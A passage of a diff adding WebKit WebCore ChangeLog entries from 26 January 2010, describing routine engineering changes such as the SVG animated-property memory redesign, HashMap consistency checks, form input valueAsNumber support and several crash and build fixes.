+        (it's "svn resolved", not "svn revert"!).
+
+2010-01-26  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34150
+        WebKit needs a mechanism to catch stale HashMap entries
+
+        * WebCore.xcodeproj/project.pbxproj: Added ContainerNodeAlgorithms.h to the project to make
+        it easier to search for.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSRuleSet::getIDRules):
+        (WebCore::CSSRuleSet::getClassRules):
+        (WebCore::CSSRuleSet::getTagRules):
+        (WebCore::CSSStyleSelector::keyframeStylesForAnimation):
+        * dom/CheckedRadioButtons.cpp:
+        (WebCore::CheckedRadioButtons::checkedButtonForGroup):
+        (WebCore::CheckedRadioButtons::removeButton):
+        * dom/Document.cpp:
+        (WebCore::Document::getElementById):
+        (WebCore::Document::removeElementById):
+        (WebCore::Document::removeImageMap):
+        (WebCore::Document::getImageMap):
+        (WebCore::Document::nameCollectionInfo):
+        * dom/Document.h:
+        (WebCore::Document::collectionInfo):
+        * editing/markup.cpp:
+        (WebCore::shouldAddNamespaceAttr):
+        (WebCore::appendNamespace):
+        (WebCore::appendStartMarkup):
+        * html/HTMLCollection.cpp:
+        (WebCore::HTMLCollection::namedItems):
+        (WebCore::HTMLCollection::nextNamedItem):
+        * html/HTMLFormCollection.cpp:
+        (WebCore::HTMLFormCollection::formCollectionInfo):
+        * html/HTMLSelectElement.h:
+        (WebCore::HTMLSelectElement::collectionInfo):
+        * loader/loader.cpp:
+        (WebCore::Loader::load):
+        (WebCore::Loader::servePendingRequests):
+        (WebCore::Loader::nonCacheRequestInFlight):
+        (WebCore::Loader::nonCacheRequestComplete):
+        (WebCore::Loader::cancelRequests):
+        * page/animation/CompositeAnimation.cpp:
+        (WebCore::CompositeAnimation::clearRenderer):
+        (WebCore::CompositeAnimation::updateKeyframeAnimations):
+        (WebCore::CompositeAnimation::animate):
+        (WebCore::CompositeAnimation::getAnimatedStyle):
+        (WebCore::CompositeAnimation::setAnimating):
+        (WebCore::CompositeAnimation::timeToNextService):
+        (WebCore::CompositeAnimation::getAnimationForProperty):
+        (WebCore::CompositeAnimation::suspendAnimations):
+        (WebCore::CompositeAnimation::resumeAnimations):
+        (WebCore::CompositeAnimation::isAnimatingProperty):
+        (WebCore::CompositeAnimation::pauseAnimationAtTime):
+        (WebCore::CompositeAnimation::numberOfActiveAnimations):
+        Added checkConsistency checks before lookups in HashMaps with AtomicStringImpl* keys.
+
+        * dom/ContainerNodeAlgorithms.h: (WebCore::removeAllChildrenInContainer): Be sure to notify
+        about removed child nodes that can be deleted immediately.
+
+        * html/CollectionCache.cpp:
+        (WebCore::CollectionCache::checkConsistency):
+        * html/CollectionCache.h:
+        Added a checkConsistency() method that checks both HashMaps in the cache.
+
+        * platform/TreeShared.h:
+        (WebCore::TreeShared::~TreeShared): Assert that m_refCount is null. Since Nodes can be
+        destroyed with operator delete (as done in ContainerNodeAlgorithms), this is important to check.
+        (WebCore::TreeShared::deref): Assert that m_refCount isn't already negative.
+
+2010-01-26  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Tor Arne Vestbø.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29564
+
+        [Qt] Fixes an issue where the height of <button>- and
+        <input type="button">- elements are fixed to the height of the
+        button label font plus padding. That is, the CSS height property
+        is being ignored.
+
+        Instead, we should honor the user-specified height, if appropriate
+        for the platform and context. Notice, the Mac ports do not honor the
+        height for <input type="button"> elements unless a border and/or
+        background is also specified.
+
+        Test: fast/css/button-height.html
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::adjustButtonStyle):
+
+2010-01-26  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Enable the Audits panel via a shortcut (Cmd/Ctrl+Alt+A)
+        https://bugs.webkit.org/show_bug.cgi?id=34158
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentKeyDown):
+
+2010-01-26  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsNumber support except type=datetime-local.
+        https://bugs.webkit.org/show_bug.cgi?id=32696
+
+        Tests: fast/forms/input-valueasnumber-date.html
+               fast/forms/input-valueasnumber-datetime.html
+               fast/forms/input-valueasnumber-month.html
+               fast/forms/input-valueasnumber-number.html
+               fast/forms/input-valueasnumber-range.html
+               fast/forms/input-valueasnumber-time.html
+               fast/forms/input-valueasnumber-unsupported.html
+               fast/forms/input-valueasnumber-week.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueAsNumber):
+          According to the specification, we should return NaN for invalid values.
+        (WebCore::HTMLInputElement::setValueAsNumber):
+          According to the specification, throws NOT_SUPPORTED_ERR for Infinitiy or NaN,
+          and throws INVALID_STATE_ERR for unsupported types.
+        (WebCore::HTMLInputElement::formStringToDouble):
+          According to the step 14 of Real Number in the specification, we
+          should round -0 to 0.
+        * html/HTMLInputElement.h: Declare valueAsNumber() and setValueAsNumber().
+        * html/HTMLInputElement.idl: Add valueAsNumber.
+
+2010-01-26  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Make sure there is a lock on serialize in SerializedScriptValueData, since type errors can be created when
+        exceptions are thrown.
+
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializedScriptValueData::serialize):
+
+2010-01-26  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add Date type support for Objective-C binding.
+        https://bugs.webkit.org/show_bug.cgi?id=32810
+
+        The Date type in IDLs is mapped to NSTimeInterval in Objective-C.
+
+        * bindings/objc/DOMInternal.h: Add kit() and core() for NSTimeInterval.
+        * bindings/scripts/CodeGenerator.pm: Make Date a primitive type.
+        * bindings/scripts/CodeGeneratorJS.pm: Move some code for the CodeGeenrator.pm change.
+        * bindings/scripts/CodeGeneratorObjC.pm:
+        * bindings/scripts/CodeGeneratorV8.pm: Move some code for the CodeGeenrator.pm change.
+        * html/HTMLInputElement.idl: Remove Objective-C exclusion for valueAsDate.
+
+2010-01-26  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, attempt to fix Tiger build.
+
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::write): Use UNUSED_PARAM macros to prevent compiler warning on targets without accelerated compositing.
+
+2010-01-26  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Incorrect boolean expression in isMailBlockquote() (WebCore/htmlediting.cpp)
+        https://bugs.webkit.org/show_bug.cgi?id=34156
+
+        No new tests (minor code change).
+
+        * editing/htmlediting.cpp:
+        (WebCore::isMailBlockquote):
+
+2010-01-26  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by David Levin.
+
+        Handle broken images more correctly in the open-source image decoders.
+        https://bugs.webkit.org/show_bug.cgi?id=33747
+
+        No tests since Safari doesn't use these decoders and there's already a
+        broken-image test in the tree.
+
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::createFrameAtIndex): No need to check isSizeAvailable() since size() is now always safe.
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::size): Don't assert that the bitmap is valid; we don't need a complete successful decode to be able to give info about the size.
+        * platform/image-decoders/qt/RGBA32BufferQt.cpp:
+        (WebCore::RGBA32Buffer::setSize): Don't set the frame to complete on failure, since it's not complete, but empty, and callers can better handle empty frames.
+        * platform/image-decoders/skia/ImageDecoderSkia.cpp:
+        (WebCore::RGBA32Buffer::setSize): Don't set the frame to complete on failure, since it's not complete, but empty, and callers can better handle empty frames.
+
+2010-01-26  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Synchronize Qt/Gtk build systems with Mac/Win, should fix Qt compilation. Gtk results still pending.
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+
+2010-01-26  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Attempt to fix V8 - change SetterMethod function signatures, just like it has been done for JSSVGPODTypeWrapper.
+
+        * bindings/v8/V8SVGPODTypeWrapper.h:
+
+2010-01-26  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Revert Base.xcconfig changes, was not meant to be committed.
+
+        * Configurations/Base.xcconfig:
+
+2010-01-26  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Oliver Hunt.
+
+        SVG consumes way too much memory to store animated properties in the DOM
+        https://bugs.webkit.org/show_bug.cgi?id=34188
+
+        Shrink WebCore library size to 75% (measured in debug builds) and reduce SVG memory usage to <25%.
+        Adding Oliver testcase as manual-tests/svg-node-count-vs-scroll.xhtml, which creates an arbitary number of
+        rects (50.000 <rect> elements added to the DOM by default) - memory usage down to 111M from 503M (RPRVT).
+        The SVG DOM side is almost fine, still some optimizations possible, that will be implemented soon - next
+        target is the SVG render tree, there are plenty of possibilities to reduce memory usage there.
+
+        Redesign the way we store animated properties in the individual SVG*Element files. Short story: In order
+        to support SVG DOM through the bindings (e.g. JS) we need to associate SVGAnimatedProperty objects with
+        the SVGElement object that created it - we used to store this pointer directly in the SVGAnimatedProperty.
+        This means, every SVGAnimatedProperty stored in a SVGRectElement, stored a pointer to the SVGRectElement, resulting
+        in excessive memory usage. This is now properly implemented, without wasting tons of memory. Unfortunately this
+        requires touching all SVG*Element files.
+
+        Detailed list of changes:
+        - Remove template bloat by not specializing class templates for each attributeName/tagName combination. Instead
+          SVGAnimatedProperty is a non-specialized template class now, only depending on the AnimatedType (ie. SVGLength for SVGAnimatedLength)
+          -> This heavily reduces the generated code, thus shrinking WebCore size. I hope we can build windows again without SVGAllInOne.cpp
+
+        - Remove "exportStrings" / "exportString" handling from make_names.pl - SVG defined string literals for each QualifiedName,
+          in order to use template specialization based on "const char*" parameters. All that bloat is gone, so there's no need for it anymore.
+
+        - Redesign SVGAnimatedProperty so it does not need any back-pointers to the SVGElement that created it
+
+        - Don't actually store the XML DOM attribute name associated with a SVG DOM property in SVGAnimatedProperty, move the associatedAttributeName()
+          function inside the macro declaration and just return the passed macro parameter DOMAttribute there, storing is inefficient and useless.
+
+        - Remove SynchronizablePropertyController, which was living in SVGElement as member variable, keeping a HashMap<AttributeName, SVGAnimatedProperty>.
+          It was needed before to lookup a SVGAnimatedProperty for a XML DOM attribute, in order to synchronize SVG <-> XML dom properties/attributes.
+          Instead just add a "synchronizeProperty(const QualifiedName&)" method to all SVG*Element classes. As each SVG*Element class knows about its
+          animated properties it can just ask them to synchronize themselves - no need for any dynamic lookups anymore.
+
+        - Remove SynchronizableTypeWrapper which added more complexity for the sake of SVG <-> XML DOM synchronization, all replaced by synchronizeProperty.
+
+        - Pass around any POD objects as const references, instead of copying them for no reason.
+
+        - Clean up SVGAnimatedProperty, splitting up into SVGAnimatedProperty/PropertySynchronizer/PropertyTraits.
+
+        - Remove baseValue/setBaseValue code from SVGDocumentExtensions, not needed anymore.
+
+        ... and tons of changes to all SVG*Element classes, adapting to the new way of handling animated properties.
+
+        * GNUmakefile.am: Remove Synchronizable* from build, add new SVGAnimatedPropertySynchronizer/Traits files
+        * WebCore.gypi: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * bindings/js/JSSVGPODTypeWrapper.h: Change synchronization callback signatures, as we pass around const-references now.
+        * dom/Element.cpp: Let updateAnimatedSVGAttribute take a QualifiedName instead of pure Strings.
+        (WebCore::Element::getAttribute):
+        (WebCore::Element::hasAttributes):
+        * dom/Element.h:
+        (WebCore::Element::updateAnimatedSVGAttribute):
+        (WebCore::Element::attributes):
+        * dom/make_names.pl: Remove SVG specific "exportString" / "exportStrings" functionality, see above.
+        * html/HTMLAttributeNames.in: Remove "exportString" tag from "className" attribute.
+        * manual-tests/svg-node-count-vs-scroll.xhtml: Added. Can be used to verify memory consumption with a lot of DOM objects.
+        * mathml/mathattrs.in: MathML doesn't need "exportStrings" - remove it.
+        * mathml/mathtags.in: Ditto.
+        * svg/SVGAElement.cpp:
+        (WebCore::SVGAElement::SVGAElement):
+        (WebCore::SVGAElement::synchronizeProperty):
+        * svg/SVGAElement.h:
+        * svg/SVGAllInOne.cpp: Remove SynchronizablePropertyController.cpp
+        * svg/SVGAltGlyphElement.cpp:
+        (WebCore::SVGAltGlyphElement::SVGAltGlyphElement):
+        (WebCore::SVGAltGlyphElement::synchronizeProperty):
+        * svg/SVGAltGlyphElement.h:
+        * svg/SVGAnimateTransformElement.cpp:
+        (WebCore::SVGAnimateTransformElement::applyResultsToTarget):
+        * svg/SVGAnimatedProperty.h: Rewritten, see above for details.
+        (WebCore::SVGAnimatedPropertyTearOff::create):
+        (WebCore::SVGAnimatedPropertyTearOff::setBaseVal):
+        (WebCore::SVGAnimatedPropertyTearOff::setAnimVal):
+        (WebCore::SVGAnimatedPropertyTearOff::baseVal):
+        (WebCore::SVGAnimatedPropertyTearOff::animVal):
+        (WebCore::SVGAnimatedPropertyTearOff::associatedAttributeName):
+        (WebCore::SVGAnimatedPropertyTearOff::SVGAnimatedPropertyTearOff):
+        (WebCore::SVGAnimatedPropertyTearOff::~SVGAnimatedPropertyTearOff):
+        (WebCore::SVGAnimatedProperty::~SVGAnimatedProperty):
+        (WebCore::SVGAnimatedProperty::SVGAnimatedProperty):
+        (WebCore::SVGAnimatedProperty::value):
+        (WebCore::SVGAnimatedProperty::baseValue):
+        (WebCore::SVGAnimatedProperty::setValue):
+        (WebCore::SVGAnimatedProperty::setBaseValue):
+        (WebCore::SVGAnimatedProperty::shouldSynchronize):
+        (WebCore::SVGAnimatedProperty::setShouldSynchronize):
+        * svg/SVGAnimatedPropertySynchronizer.h: Added.
+        (WebCore::):
+        * svg/SVGAnimatedPropertyTraits.h: Added.
+        (WebCore::):
+        * svg/SVGAnimatedTemplate.h: Move SVGAnimatedPropertyTraits into its own file.
+        (WebCore::SVGAnimatedTemplate::forgetWrapper):
+        (WebCore::lookupOrCreateWrapper):
+        * svg/SVGAnimationElement.cpp:
+        (WebCore::SVGAnimationElement::SVGAnimationElement):
+        (WebCore::SVGAnimationElement::synchronizeProperty):
+        * svg/SVGAnimationElement.h:
+        * svg/SVGCircleElement.cpp:
+        (WebCore::SVGCircleElement::SVGCircleElement):
+        (WebCore::SVGCircleElement::synchronizeProperty):
+        * svg/SVGCircleElement.h:
+        * svg/SVGClipPathElement.cpp:
+        (WebCore::SVGClipPathElement::SVGClipPathElement):
+        (WebCore::SVGClipPathElement::synchronizeProperty):
+        * svg/SVGClipPathElement.h:
+        * svg/SVGComponentTransferFunctionElement.cpp:
+        (WebCore::SVGComponentTransferFunctionElement::SVGComponentTransferFunctionElement):
+        (WebCore::SVGComponentTransferFunctionElement::parseMappedAttribute):
+        (WebCore::SVGComponentTransferFunctionElement::synchronizeProperty):
+        * svg/SVGComponentTransferFunctionElement.h:
+        * svg/SVGCursorElement.cpp:
+        (WebCore::SVGCursorElement::SVGCursorElement):
+        (WebCore::SVGCursorElement::synchronizeProperty):
+        * svg/SVGCursorElement.h:
+        * svg/SVGDefsElement.cpp:
+        (WebCore::SVGDefsElement::SVGDefsElement):
+        (WebCore::SVGDefsElement::synchronizeProperty):
+        * svg/SVGDefsElement.h:
+        * svg/SVGDocumentExtensions.h:
+        * svg/SVGElement.cpp: Adapt to synchronization changes: use synchronizeProperty() call, instead of SynchronizablePropertyController.
+        (WebCore::SVGElement::updateAnimatedSVGAttribute):
+        * svg/SVGElement.h: Don't store SynchronizablePropertyController anymore, it's gone.
+        (WebCore::SVGElement::synchronizeProperty):
+        (WebCore::SVGElement::setSynchronizedSVGAttributes):
+        * svg/SVGEllipseElement.cpp:
+        (WebCore::SVGEllipseElement::SVGEllipseElement):
+        (WebCore::SVGEllipseElement::synchronizeProperty):
+        * svg/SVGEllipseElement.h:
+        * svg/SVGExternalResourcesRequired.cpp:
+        * svg/SVGExternalResourcesRequired.h:
+        * svg/SVGFEBlendElement.cpp:
+        (WebCore::SVGFEBlendElement::SVGFEBlendElement):
+        (WebCore::SVGFEBlendElement::synchronizeProperty):
+        * svg/SVGFEBlendElement.h:
+        * svg/SVGFEColorMatrixElement.cpp:
+        (WebCore::SVGFEColorMatrixElement::SVGFEColorMatrixElement):
+        (WebCore::SVGFEColorMatrixElement::synchronizeProperty):
+        * svg/SVGFEColorMatrixElement.h:
+        * svg/SVGFEComponentTransferElement.cpp:
+        (WebCore::SVGFEComponentTransferElement::SVGFEComponentTransferElement):
+        (WebCore::SVGFEComponentTransferElement::synchronizeProperty):
+        * svg/SVGFEComponentTransferElement.h:
+        * svg/SVGFECompositeElement.cpp:
+        (WebCore::SVGFECompositeElement::SVGFECompositeElement):
+        (WebCore::SVGFECompositeElement::parseMappedAttribute):
+        (WebCore::SVGFECompositeElement::synchronizeProperty):
+        * svg/SVGFECompositeElement.h:
+        * svg/SVGFEDiffuseLightingElement.cpp:
+        (WebCore::SVGFEDiffuseLightingElement::SVGFEDiffuseLightingElement):
+        (WebCore::SVGFEDiffuseLightingElement::synchronizeProperty):
+        * svg/SVGFEDiffuseLightingElement.h:
+        * svg/SVGFEDisplacementMapElement.cpp:
+        (WebCore::SVGFEDisplacementMapElement::SVGFEDisplacementMapElement):
+        (WebCore::SVGFEDisplacementMapElement::synchronizeProperty):
+        * svg/SVGFEDisplacementMapElement.h:
+        * svg/SVGFEGaussianBlurElement.cpp:
+        (WebCore::SVGFEGaussianBlurElement::SVGFEGaussianBlurElement):
+        (WebCore::SVGFEGaussianBlurElement::synchronizeProperty):
+        * svg/SVGFEGaussianBlurElement.h:
+        * svg/SVGFEImageElement.cpp:
+        (WebCore::SVGFEImageElement::SVGFEImageElement):
+        (WebCore::SVGFEImageElement::synchronizeProperty):
+        * svg/SVGFEImageElement.h:
+        * svg/SVGFELightElement.cpp:
+        (WebCore::SVGFELightElement::SVGFELightElement):
+        (WebCore::SVGFELightElement::synchronizeProperty):
+        * svg/SVGFELightElement.h:
+        * svg/SVGFEMergeNodeElement.cpp:
+        (WebCore::SVGFEMergeNodeElement::SVGFEMergeNodeElement):
+        (WebCore::SVGFEMergeNodeElement::synchronizeProperty):
+        * svg/SVGFEMergeNodeElement.h:
+        * svg/SVGFEMorphologyElement.cpp:
+        (WebCore::SVGFEMorphologyElement::SVGFEMorphologyElement):
+        (WebCore::SVGFEMorphologyElement::synchronizeProperty):
+        * svg/SVGFEMorphologyElement.h:
+        * svg/SVGFEOffsetElement.cpp:
+        (WebCore::SVGFEOffsetElement::SVGFEOffsetElement):
+        (WebCore::SVGFEOffsetElement::synchronizeProperty):
+        * svg/SVGFEOffsetElement.h:
+        * svg/SVGFESpecularLightingElement.cpp:
+        (WebCore::SVGFESpecularLightingElement::SVGFESpecularLightingElement):
+        (WebCore::SVGFESpecularLightingElement::synchronizeProperty):
+        * svg/SVGFESpecularLightingElement.h:
+        * svg/SVGFETileElement.cpp:
+        (WebCore::SVGFETileElement::SVGFETileElement):
+        (WebCore::SVGFETileElement::synchronizeProperty):
+        * svg/SVGFETileElement.h:
+        * svg/SVGFETurbulenceElement.cpp:
+        (WebCore::SVGFETurbulenceElement::SVGFETurbulenceElement):
+        (WebCore::SVGFETurbulenceElement::synchronizeProperty):
+        * svg/SVGFETurbulenceElement.h:
+        * svg/SVGFilterElement.cpp:
+        (WebCore::SVGFilterElement::SVGFilterElement):
+        (WebCore::SVGFilterElement::synchronizeProperty):
+        * svg/SVGFilterElement.h:
+        * svg/SVGFilterPrimitiveStandardAttributes.cpp:
+        (WebCore::SVGFilterPrimitiveStandardAttributes::SVGFilterPrimitiveStandardAttributes):
+        (WebCore::SVGFilterPrimitiveStandardAttributes::synchronizeProperty):
+        * svg/SVGFilterPrimitiveStandardAttributes.h:
+        * svg/SVGFitToViewBox.cpp:
+        * svg/SVGFitToViewBox.h:
+        * svg/SVGFontElement.cpp:
+        (WebCore::SVGFontElement::SVGFontElement):
+        (WebCore::SVGFontElement::synchronizeProperty):
+        * svg/SVGFontElement.h:
+        * svg/SVGForeignObjectElement.cpp:
+        (WebCore::SVGForeignObjectElement::SVGForeignObjectElement):
+        (WebCore::SVGForeignObjectElement::synchronizeProperty):
+        * svg/SVGForeignObjectElement.h:
+        * svg/SVGGElement.cpp:
+        (WebCore::SVGGElement::SVGGElement):
+        (WebCore::SVGGElement::synchronizeProperty):
+        * svg/SVGGElement.h:
+        * svg/SVGGradientElement.cpp:
+        (WebCore::SVGGradientElement::SVGGradientElement):
+        (WebCore::SVGGradientElement::synchronizeProperty):
+        * svg/SVGGradientElement.h:
+        * svg/SVGImageElement.cpp:
+        (WebCore::SVGImageElement::SVGImageElement):
+        (WebCore::SVGImageElement::synchronizeProperty):
+        * svg/SVGImageElement.h:
+        * svg/SVGLineElement.cpp:
+        (WebCore::SVGLineElement::SVGLineElement):
+        (WebCore::SVGLineElement::synchronizeProperty):
+        * svg/SVGLineElement.h:
+        * svg/SVGLinearGradientElement.cpp:
+        (WebCore::SVGLinearGradientElement::SVGLinearGradientElement):
+        (WebCore::SVGLinearGradientElement::synchronizeProperty):
+        * svg/SVGLinearGradientElement.h:
+        * svg/SVGList.h: Adapt to const-reference changes.
+        (WebCore::SVGPODListItem::setValue):
+        * svg/SVGMPathElement.cpp:
+        (WebCore::SVGMPathElement::SVGMPathElement):
+        (WebCore::SVGMPathElement::synchronizeProperty):
+        * svg/SVGMPathElement.h:
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::SVGMarkerElement):
+        (WebCore::SVGMarkerElement::synchronizeProperty):
+        * svg/SVGMarkerElement.h:
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::SVGMaskElement):
+        (WebCore::SVGMaskElement::synchronizeProperty):
+        * svg/SVGMaskElement.h:
+        * svg/SVGPathElement.cpp:
+        (WebCore::SVGPathElement::SVGPathElement):
+        (WebCore::SVGPathElement::synchronizeProperty):
+        * svg/SVGPathElement.h:
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::SVGPatternElement):
+        (WebCore::SVGPatternElement::synchronizeProperty):
+        * svg/SVGPatternElement.h:
+        * svg/SVGPolyElement.cpp:
+        (WebCore::SVGPolyElement::SVGPolyElement):
+        (WebCore::SVGPolyElement::svgAttributeChanged):
+        (WebCore::SVGPolyElement::synchronizeProperty):
+        * svg/SVGPolyElement.h:
+        * svg/SVGRadialGradientElement.cpp:
+        (WebCore::SVGRadialGradientElement::SVGRadialGradientElement):
+        (WebCore::SVGRadialGradientElement::synchronizeProperty):
+        * svg/SVGRadialGradientElement.h:
+        * svg/SVGRectElement.cpp:
+        (WebCore::SVGRectElement::SVGRectElement):
+        (WebCore::SVGRectElement::synchronizeProperty):
+        * svg/SVGRectElement.h:
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::SVGSVGElement):
+        (WebCore::SVGSVGElement::synchronizeProperty):
+        * svg/SVGSVGElement.h:
+        * svg/SVGScriptElement.cpp:
+        (WebCore::SVGScriptElement::SVGScriptElement):
+        (WebCore::SVGScriptElement::synchronizeProperty):
+        * svg/SVGScriptElement.h:
+        * svg/SVGStopElement.cpp:
+        (WebCore::SVGStopElement::SVGStopElement):
+        (WebCore::SVGStopElement::synchronizeProperty):
+        * svg/SVGStopElement.h:
+        * svg/SVGStyledElement.cpp:
+        (WebCore::SVGStyledElement::SVGStyledElement):
+        (WebCore::SVGStyledElement::parseMappedAttribute):
+        (WebCore::SVGStyledElement::synchronizeProperty):
+        * svg/SVGStyledElement.h:
+        * svg/SVGStyledTransformableElement.cpp:
+        (WebCore::SVGStyledTransformableElement::SVGStyledTransformableElement):
+        (WebCore::SVGStyledTransformableElement::synchronizeProperty):
+        * svg/SVGStyledTransformableElement.h:
+        * svg/SVGSwitchElement.cpp:
+        (WebCore::SVGSwitchElement::SVGSwitchElement):
+        (WebCore::SVGSwitchElement::synchronizeProperty):
+        * svg/SVGSwitchElement.h:
+        * svg/SVGSymbolElement.cpp:
+        (WebCore::SVGSymbolElement::SVGSymbolElement):
+        (WebCore::SVGSymbolElement::synchronizeProperty):
+        * svg/SVGSymbolElement.h:
+        * svg/SVGTRefElement.cpp:
+        (WebCore::SVGTRefElement::SVGTRefElement):
+        (WebCore::SVGTRefElement::synchronizeProperty):
+        * svg/SVGTRefElement.h:
+        * svg/SVGTextContentElement.cpp:
+        (WebCore::SVGTextContentElement::SVGTextContentElement):
+        (WebCore::SVGTextContentElement::synchronizeProperty):
+        * svg/SVGTextContentElement.h:
+        * svg/SVGTextElement.cpp:
+        (WebCore::SVGTextElement::SVGTextElement):
+        (WebCore::SVGTextElement::synchronizeProperty):
+        * svg/SVGTextElement.h:
+        * svg/SVGTextPathElement.cpp:
+        (WebCore::SVGTextPathElement::SVGTextPathElement):
+        (WebCore::SVGTextPathElement::synchronizeProperty):
+        * svg/SVGTextPathElement.h:
+        * svg/SVGTextPositioningElement.cpp:
+        (WebCore::SVGTextPositioningElement::SVGTextPositioningElement):
+        (WebCore::SVGTextPositioningElement::synchronizeProperty):
+        * svg/SVGTextPositioningElement.h:
+        * svg/SVGURIReference.cpp:
+        * svg/SVGURIReference.h:
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::SVGUseElement):
+        (WebCore::SVGUseElement::synchronizeProperty):
+        * svg/SVGUseElement.h:
+        * svg/SVGViewElement.cpp:
+        (WebCore::SVGViewElement::SVGViewElement):
+        (WebCore::SVGViewElement::synchronizeProperty):
+        * svg/SVGViewElement.h:
+        * svg/SVGViewSpec.cpp:
+        (WebCore::SVGViewSpec::SVGViewSpec):
+        * svg/SVGViewSpec.h:
+        (WebCore::SVGViewSpec::contextElement):
+        * svg/SynchronizablePropertyController.cpp: Removed.
+        * svg/SynchronizablePropertyController.h: Removed.
+        * svg/SynchronizableTypeWrapper.h: Removed.
+        * svg/svgattrs.in: Remove "exportStrings" tag.
+        * svg/svgtags.in: Ditto.
+        * svg/xlinkattrs.in:
+
+2010-01-26  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for <rdar://problem/7169464> REGRESSION (r47444): PLT is 1% slower due to implementation of :valid and :invalid CSS selectors
+        https://bugs.webkit.org/show_bug.cgi?id=34029
+
+        If we never hit the valid or invalid selectors for a particular document, 
+        then we'll skip the validity checks when deciding about style sharing.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::canShareStyleWithElement):
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector):
+        
+        * dom/Document.cpp: (WebCore::Document::Document):
+        * dom/Document.h:
+        (WebCore::Document::considerValidity):
+        (WebCore::Document::setConsiderValidity):
+
+2010-01-26  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Simon Fraser.
+
+        Revert 53797 as it seems to be causing crashes.
+        https://bugs.webkit.org/show_bug.cgi?id=34153
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::useSlowRepaints):
+        (WebCore::FrameView::useSlowRepaintsIfNotOverlapped):
+        * page/FrameView.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollContents):
+        * platform/ScrollView.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleWillChange):
+        (WebCore::RenderObject::destroy):
+
+2010-01-26  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Steve Falkenburg.
+
+        DumpRenderTree silently crashes at the end of the run because geolocationControllerClient pointer is 0.
+        https://bugs.webkit.org/show_bug.cgi?id=34191
+
+        * page/GeolocationController.cpp:
+        (WebCore::GeolocationController::~GeolocationController): Add check for m_client being 0.
+        (WebCore::GeolocationController::addObserver): Ditto.
+        (WebCore::GeolocationController::removeObserver): Ditto.
+        (WebCore::GeolocationController::lastPosition): Ditto.
+
+2010-01-26  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Enhance externalRepresentation() to make it more useful for layer debugging
+        https://bugs.webkit.org/show_bug.cgi?id=34143
+
+        Enhance externalRepresentation() to output additional information about layers when certain flags are passed.
+        The new flags allow you to show all layers (not just those that would paint), to the structure of the z-order
+        and normal flow lists, and to show which layers are composited.
+
+        * WebCore.base.exp: The signature of externalRepresentation() changed.
+
+        * platform/text/TextStream.h: Add operator<<(void*)
+        * platform/text/TextStream.cpp: Implement operator<<(void*)
+
+        * rendering/RenderLayer.h:
+        * rendering/RenderLayer.cpp:
+        (showLayerTree): New method outside the WebCore namespace, for ease of calling from gdb.
+
+        * rendering/RenderTreeAsText.h: New behavior flags for externalRepresentation().
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::write): Output compositing information if requested. Also clean up some -1/1 magic
+        numbers with an enum.
+        (WebCore::writeLayers): If requested, show layer nesting via the z-order and normal flow lists.
+        (WebCore::externalRepresentation): New arguments
+
+2010-01-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fixed an off-by-one error.
+
+        * rendering/break_lines.cpp:
+        (WebCore::shouldBreakAfter):
+
+2010-01-26  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Avoid reloading iframe on re-parenting between documents.
+        https://bugs.webkit.org/show_bug.cgi?id=32848
+
+        Achieved by setting a flag on iframe element when it is a target of document.adoptNode(node) operation.
+        The flag prevents unload/load cycle and is reset once element is attached to a new document.
+        If iframe is adopted but not actually inserted into the tree, it gets unloaded by async timer
+        once JS yields, to avoid having active content in non-attached iframe.
+
+        Test: fast/frames/iframe-reparenting.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::adoptNode): If the adopted node is iframe, set a remainsAliveOnRemovalFromTree on it.
+        * html/HTMLFrameElementBase.h:
+        * html/HTMLFrameElementBase.cpp:
